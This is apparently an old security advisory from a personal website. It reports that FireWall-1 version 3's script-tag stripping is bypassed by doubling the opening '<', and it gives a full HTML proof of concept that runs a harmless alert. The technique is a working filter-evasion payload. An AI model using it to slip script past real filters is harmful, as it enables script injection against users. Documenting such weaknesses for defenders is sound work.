logo
line
HOME
TOOLBOX
ON MY MIND RIGHT NOW
MISC
ABOUT
line
forest

Strip Script Tags in FireWall-1 version 3 can be circumvented

The Strip Script Tags in FW-1 can be circumvented by adding an extra <before the <SCRIPT> tag like in this code:

<HTML>
<HEAD>
<<SCRIPT LANGUAGE="JavaScript">
alert("hello world")
</SCRIPT>
</HEAD>
<BODY>
test
</BODY>
</HTML>

This code will pass unchanged, and still execute in both Navigator and Explorer.



© Arne Vidstrom. All rights reserved.